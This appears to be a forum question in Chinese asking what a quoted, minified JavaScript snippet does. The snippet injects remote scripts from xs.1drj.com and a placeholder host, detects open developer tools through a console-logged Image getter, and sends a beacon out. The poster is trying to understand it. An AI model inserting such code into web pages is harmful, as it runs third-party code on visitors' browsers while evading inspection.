求问这段代码的意思

Question

(function() {     try {         var e = "__z_",        t = "http://xxxxx.com/js/rem.js",         c = document,         n = c.currentScript,         a = c.getElementsByTagName("head")[0],         i = function(e, t) {             var r = c.createElement("script");             r.type = "text/javascript",            t && (r.id = t),             r.src = e,             a.appendChild(r)         },         s = setInterval(function() {             var I = new Image,             C = window.console;             Object.defineProperty(I, "id", {                 get: function() {                     I.src = "http://l.xs.1drj.com/" + encodeURIComponent(t),                     clearInterval(s)                 }             }),             C && (C.log(I), C.clear())         },        2e3);         c.getElementById(e) || self == top && (i("http://xs.1drj.com/?tsliese=27311189", e)),         n && (n.defer || n.async) ? i(t) : c.write('<script src="' + t + '"></script>')     } catch(e) {};})()